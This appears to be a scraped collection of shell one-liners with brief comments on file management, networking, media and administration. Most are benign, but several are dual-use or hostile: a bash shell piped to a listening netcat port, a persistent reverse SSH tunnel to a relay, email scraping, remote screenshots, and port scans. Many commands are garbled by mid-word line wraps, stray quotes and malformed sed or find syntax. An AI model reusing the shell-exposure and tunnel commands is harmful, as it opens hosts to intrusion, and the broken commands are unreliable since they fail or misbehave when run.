mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done

# get the top 10 longest filenames
find | sed -e "s/^\.*\///" | awk ' BEGIN { FS="" } { print NF " " " $0 } ' | sort -nrf | head -10

# Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1}}; echo `eval "echo $b"`

# zsh only: access a file when you don't know the path, if it is in PATH
file =top

# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host

# Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'

# Run a command for a given time
very_long_command& sleep 10; kill $!

# Get the absolute path of a file
absolute_path () { readlink -f "$1"; };

# Delete files older than..
find /dir_name -mtime +5 -exec rm {} \

# Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$W3rD databasename | gzip -cf" | gunzip -c > database.sql

# Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2

# Add existing user to a group
usermod -a -G groupname username

# Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'

```

```

# Send an http HEAD request w/curl
curl -I http://localhost

# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,3}(\;[0-9]{1,3})*)?)?[m|K]//g

# Trace a DNS query from root to the authoritative servers.
dig +trace google.com

# vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")

# Find files with root setuids settings
sudo find / -user root -perm -4000 -print

# Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"

# take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'

# Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe

# get time in other timezones
tzwatch

# Find out which debian package a command (executable) belongs to on debian-based distros
function whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }

# Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"", $9 }'|sort -rn > message.out

# Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg

# Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;

# Show the power of the home row on the Dvorak Keyboard layout
egrep -ci ^[aoeuiddhtns-]+$/usr/share/dict/words

# no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }

# Use the arguments used in the last command
mkdir !*

# Create and replay macros in vim
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').

# Recursively remove .svn directories
find . -type d -name .svn -delete

```

```
# Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv

# extract email addresses from some file (or any other pattern)
grep -Eio '([[:alnum:]]_]+@[[:alnum:]]_+?\. [[:alpha:]]{2,6})' file.html

# Monitor memory usage
watch vmstat -sSM

# Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME

# ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'

# Recursively remove .svn directories from a local repository
find . -type d -name .svn -execdir rm -rf {} +

# split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}

# Stage only portions of the changes to a file.
git add --patch <filename>

# Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`

# Have a random "cow" say a random thing
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)

# connects to a serial console
cu -s 9600 -l /dev/ttyS0

# Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml

# Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml

# How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]'
--exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/

# List your MACs address
cat /sys/class/net/*/address

# kill all process that belongs to you
pkill -u `whoami`

# Takes an html file and outputs plain text from it
lynx -dump somefile.html

# print shared library dependencies
LD_TRACE_LOADED_OBJECTS=1 name_of_executable

# Unixtime
date +%s
```

```

# Refresh the cache of font directory
sudo fc-cache -f -v

# video thumbnail gallery
totem-video-thumbnailer -pg 25 in_video out_png

# Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;

# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair
=|en&v=1.0&q=`xsel`" |cut -d \" -f 6

# list all executables in your path
ls `echo $PATH | sed 's:/:/g'`

# Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"
; $( complete | sed -n "s/${old}/${new}/p" ); alias ${new}; complete -p ${new}

# Get your outgoing IP address
curl -s icanhazip.com

# add a gpg key to aptitude package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add -

# Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "T
erminal - All commands" |perl -pe 's/./(\d+),(\d+).+/$1$2/'|head -n1)`; do curl
"http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done
> a.txt

# Determine if a command is in your $PATH using POSIX
command -v bash

# Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg

# Facebook Email Scraper
fbemailscraper YourFBEmail Password

# Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d
` > `basename $PWD` ]]; then cd $d; break; fi; done

# Search shoutcast web radio by keyword
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?s
earch="$keyword";curl -s $query |awk -F ' ' 'NR <= 4 {next}NR>15{exit}{sub(/SHO
UTcast.com/, "http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i++"
}"$2}'

# Get Dollar-Euro exchange rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^\<br/
>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'

# search for a file in PATH
type <filename>

# Top ten (or whatever) memory utilizing processes (with children aggregate)

```



```

ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 ", " 1] += $1; } END {
  for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc ", " 1],proc); } }' |
  sort -n | tail -n 10

# Recursively Find Images, Convert to JPEGs and Delete
find . -name '*.tiff' -exec bash -c "mogrify -format jpg -quality 85 -resize 75%
  {} && rm {}" \;

# Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count
=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n

# Bash: escape '-' character in filename
mv -- -filename filename

# convert UNIX timestamp to UTC timestamp
TZ=UTC date -d @1320198157

# Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destina
tion 10.1.1.123:3128

# Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"

# Add all unversioned files to svn
svn st | grep "^?" | awk "{print \$2}" | xargs svn add $1

# Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi
-y xvid

# show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'$(uname -r | sed "s/\(.*)-\([0-9]\+\)/\1/"
)"/d;s/^[^ ]* [^ ]* \([^\ ]*\).*\/\1;/[0-9]/!d'

# Create user add lines from partial passwd file
awk -F: '{print "useradd -u "$3, "-c \""$5\"", "-s "$7,$1}' passwd

# print line and execute it in BASH
bash -x script.sh

# BASH one-liner to get the current week number
date +%V"

# grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq
-c | sort -rn | head

# Recursively remove 0kb files from a directory
find . -empty -type f -delete

# Mount directories in different locations
mount --bind /old/directory/path /new/directory/path

# Resize a Terminal Window
printf "\e[8;70;180;t"

# Update program providing a functionality on Debian
update-alternatives --config java

```

```

# Short one line while loop that outputs parameterized content from one file to
another
cut -f 1 three-column.txt > first-column.txt

# Happy Days
echo {'1,2,3',4}" o'clock" ROCK

# print all network interfaces' names and IPv4 addresses
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'

# Monitoring file handles used by a particular process
lsof -c <process name> -r

# Share a screen session
screen -x <screen_id>

# another tweet function
tweet () { curl -u Username -d status="$*" http://twitter.com/statuses/update.xml; }

# Create QR codes from a URL.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }

# easily strace all your apache processes
ps auxw | grep/sbin/apache | awk '{print"-p " $2}' | xargs strace

# Socksify any program to avoid restrictive firewalls
tsocks <program>

# Find a file's package or list a package's contents.
dlocate [ package | string ]

# Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's###\n#g' | grep mp3$ | xargs`

# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-id
cat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch
.ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d'
.ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"

# On-the-fly unrar movie in .rar archive and play it, does also work on part arc
hives.
unrar p -inul foo.rar|mpplayer -

# Change Windows Domain password from Linux
smbpasswd -r <domain-server> -U <user name>

# Tell Analytics to fuck itself.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | s
qlite3 $( find ~/.mozilla -name cookies.sqlite ) }

# Quick directory bookmarks
to() { eval dir=${!1}; cd "$dir"; }

# List all process running a specific port
sudo lsof -i :<port>

```

```

# Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo

# Use AbiWord to generate a clean HTML document from a Microsoft Word document.
abiword --to=html file.doc --exp-props=

# netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000

# Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi

# Determine MAC address of remote host when you know its IP address
arping 192.168.1.2

# Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv

# Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done

# Search and Replace across multiple files
grep -lr -e '<oldword>' * | xargs sed -i 's/<oldword>/<newword>/g'

# Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn

# Check if a process is running
kill -0 [pid]

# Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc

# grep certain file types recursively
find . -name "*.ch" | xargs grep "TODO"

# Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{ "responseData": { "language": "\([^"]*\)" } }'

# Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k

# list all file extensions in a directory
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq

# decoding Active Directory date format
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'

# Function that counts recursively number of lines of all files in specified folders
count() { find $@ -type f -exec cat {} + | wc -l; }

```

```

# Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "

# Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz

# Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info

# Create a thumbnail from a video file
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }

# prints line numbers
cat -n

# Simple XML tag extract with sed
sed -n 's/.*<foo>\([^<]*\)</foo>.*\|1/p'

# delay execution of a command that needs lots of memory and CPU time until the
resources are available
( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,,$//' -e 's/,./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )

# Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW

# Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`

# show git commit history
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --field s=1,3 | sed s/commit://g | sed -e 's/HEAD*@[0-9]*://g'

# diff two sorted files
diff <(sort file1.txt) <(sort file2.txt)

# Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi

# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v or ctrl-x ctrl-e

# determine if tcp port is open
nmap -p 80 hostname

# Verify if ntpd is working properly
ntpq -p

# Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>

# Suppress output of loud commands you don't want to hear from
quietly() { "$@" |&::; }

# Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr

```

```

# A function to find the newest file in a directory
newest () { find ${1:-\} -type f |xargs ls -lrt ; }

# ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g
| uniq | grep -v \"[\";\"`)\" ssh

# recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +

# kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill

# List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}'
  bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files
0-from - | tail -1 | sed "s/total/$pkg/"; done

# Print current runlevel
who -r

# Console clock
yes "echo -ne '\r'\`date\`;sleep 1" | sh

# Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com

# kill some pids without specific pid
pkill -9 search_criteria

# Randomize lines in a file
shuf SOMEFILE

# Rename all (jpg) files written as 3 number in 4 numbers.
for i in ????.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done

# Calculate sum of N numbers (Thanks to flatcap)
seq -s "+" 3 | bc

# Load another file in vim
:split <file>

# Debug bash shell scripts.
bash -x SCRIPT

# Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 're
turn au' | sed -r "s|.*return au\(['([^\']*)*', '([^\'])*'\).*|http://cougar.eb.
com/soundc11/\2/\1|") | aplay -q; }

# Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file}/%avi/mp3
}"

# Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"

# Terminal - Prints out, what the users name, notified in the gecost field, is

```

```

getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,

# How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"

# Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCAL
OSAN32 | grep GMT | awk '{print $3}'

# Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }

# Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac

# Capture video of a linux desktop
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimension
s:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -
vpre lossless_ultrafast -threads 0 output.mp4

# Run a command as root, with a delay
sudo bash -c "sleep 1h ; command"

# Broadcast your shell thru port 5000
bash -i 2>&1 | tee /dev/stderr | nc -l 5000

# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown -h 240 & disown

# Propagate a directory to another and create symlink to content
ln -s sourcedir destdir

# Find files that were modified by a given command
strace <name of the program>

# validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'

# get you public ip address
curl ifconfig.me

# Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sle
ep 5; done

# Jump up to any directory above the current one
upto() { cd "${PWD}/\/$@\/*//$@" }

# Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi

# Pipe text from shell to windows cut and paste buffer using PuTTY and Xming.
echo "I'm going to paste this into WINDERS XP" | xsel -i

# Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head

# Count down from 10
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done

```

```

# bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}

# Vi - Matching Braces, Brackets, or Parentheses
%

# Find the process you are looking for minus the grepped one
ps -C command

# Clear mistyped passwords from password prompt
^u

# Find broken symlinks in the current directory and its subdirectories.
find -L -type l

# Move all comments the top of the file in vim
:g:^\s*#.*:m0

# What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'

# Scan for nearby Bluetooth devices.
hcitool scan

# matrix in your term
cmatrix -abx

# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq

# validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d
  reformat=no

# find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )
) }' | sed -e "s://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=
1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'

# update you web
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)

# Suspend an ssh session.
~ ctrl-z

# VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{p
rint $2 " " $3}';done

# Twitter update from terminal (pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here" http://
  /twitter.com/statuses/update.xml

# List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print("($2) no PTR";else prin
t$3" is "$2}' | grep '('

# bash-quine
s='s=\47%s\47; printf "$s" "$s"; printf "$s" "$s"

```

```

# Reconnect to screen without disconnecting other sessions
screen -xR

# full memcache client in under 255 chars (uses dd, sed and nc)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/
^0/d;s/ .*//;s/^\("$1"' "$2"' 1 0 /; r "$3"' 2>/dev/null;;esac;printf "\r\nqu
it\r\n";}|nc -n 127.0.0.1 11211; }

# remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapsho
ts; done

# Twitpic upload and Tweet
curl --form username=from_twitter --form password=from_twitter --form media=@/pa
th/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost

# split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=p
age2.pdf multipageinputfile.pdf

# Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{prin
t $1}' | sed s/.$//; done

# Generate White Noise
cat /dev/urandom > /dev/dsp

# Convert a SVG file to grayscale
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=
FileClose

# Clean way of re-running bash startup scripts.
exec bash

# output list of modifications for an svn revision
svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^\.....//

# Console clock
watch -n1 'date +%T'

# Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=P
ASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null

# list all opened ports on host
nmap -p 1-65535 --open localhost

# remove empty lines in place with backup
sed -e '/^$/d' -i .bak filewithempty.lines

# stop windows update
runas /user:administrator net stop wuauserv

# convert a line to a space
cat file | tr '\n' ' '

# Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdi

```


n

Send a local file via email

```
mpack -s "Backup: $file" "$file" email@id.com
```

ping MAC ADDRESS

```
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
```

list all opened ports on host

```
sudo lsof -P -i -n -sTCP:LISTEN
```

list folders containing less than 2 MB of data

```
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
```

display typedefs, structs, unions and functions provided by a header file

```
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
```

Output Detailed Process Tree for any User

```
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
```

Lists all directories under the current dir excluding the .svn directory and its contents

```
find . \( -type d -name .svn -prune \) -o -type d -print
```

bash pause command

```
read -p "Press enter to continue.."
```

static compilation

```
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
```

Display a list of RPMs installed on a particular date

```
rpm -qa --queryformat '%{installtime} \"%{vendor}%" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
```

For finding out if something is listening on a port and if so what the daemon is.

```
fuser -n tcp {0..65535}
```

Fibonacci numbers with awk

```
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
```

Remove all the files except abc in the directory

```
find * -maxdepth 1 -type f ! -name abc -delete
```

Email a file to yourself

```
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
```

Url Encode

```
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
```

Substitute spaces in filename with underscore

```
ls -l | rename 's/\ /_/'
```

Create a 5 MB blank file

```
dd if=/dev/zero of=testfile bs=1024 count=5000
```

removing synchronization problems between audio and video

```
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video
```

o.flv

```
# Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable

# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste
' is off, and so forth (works in insert-mode and command-mode)
:set pt=<f9>

# extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy targ
et_audio.mp3

# Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg

# Shows you how many hours of avi video you have.
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH |
awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'

# List the size (in human readable form) of all sub folders from the current loc
ation
du -sch ./

# Binary clock
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|x
args printf "%04d\n"|tr "01" ".*"

# Display HTTP-header using curl
curl -I g.cn

# Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste

# Get information on your graphics card on linux (such as graphics memory size)
for I in `lsbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done

# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql

# distribution specific information
lsb_release -a

# Lists all files and directories with modified time newer than a given date
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts

# Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v

# Securely destroy data (including whole hard disks)
shred targetfile

# Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l

# How to know the total number of packages available
apt-cache stats

# killall -r ".*my-process.*"
```

```

Kill all process using regular expression (-r option)

# Kill all Zombie processes (Guaranteed!)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`

# Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" |
sed 's/^ *//;/ror has occ/q;2h;/___/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q;}'

# recursive remove all htm files
find . -type f -name '*.htm' -delete

# Convert deb to rpm
alien -r -c file.deb

# Find Duplicate Files (based on size first, then MD5 hash)
fdupes -r .

# Show interface/ip using awk
ifconfig -a | awk '/^wlan|^eth|^lo/ {a=$1;FS=":"; nextline=NR+1; next}{ if (NR==
nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'

# shows the full path of shell commands
which command

# Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\[ '$i'/' {print substr($0,
index($0,$6))}' error_log | sort | uniq -c | sort -n | tail -1; done

# Poor's man Matrix script
while (true) ; do pwgen 1 ; done

# colored prompt
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '

# uniq for unsorted data
awk '!_[$0]++{print}'

# setup a tunnel from destination machine port 80 to localhost 2001, via a secon
d (hub) machine.
ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %
p" someuser@destinationmachine

# find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longes
t = $lsize{$_}; print "$_"; };' | tail -n1

# Pulls total current memory usage, including SWAP being used, by all active pro
cesses.
ps aux | awk '{sum+=$6} END {print sum/1024}'

# Ext3 format Terabytes in Seconds
mkfs.ext3 -T largefile4

# Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}}"

# Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)

```

```

# improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games

# Compression formats Benchmark
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done

# Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'

# Print all the lines between 10 and 20 of a file
sed '10,20!d'

# List processes sorted by CPU usage
ps -ef --sort=-%cpu

# ensure your ssh tunnel will always be up (add in crontab)
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &

# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
eval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*', \[^\]'*\([^\]'*\)''.*/_l='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`

# Show directories in the PATH, one per line
( IFS=;; for p in $PATH; do echo $p; done )

# Bulk install
aptitude install '?and(~nlib.*perl, ~Dmodule)'

# Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>

# Replace all tabs with spaces in an application
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'

# Check apache config syntax and restart or edit the file
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*\/\1/'); vim +$l $(locate apache2.conf | head -n1)))

# Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20

# Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1

# use the real 'rm', distribution brain-damage notwithstanding
\rm somefile

# Mount partition from image (without offset mount)
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/

# useless load

```

```
cat /dev/urandom | gzip -9 > /dev/null &

# Read aloud a text file in Mac OS X
say -f file.txt

# Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png

# Cleanup debian/ubuntu package configurations
sudo dpkg-reconfigure -a

# List only executables installed by a debian package
find $(dpkg -L iptables) -maxdepth 0 -executable -type f

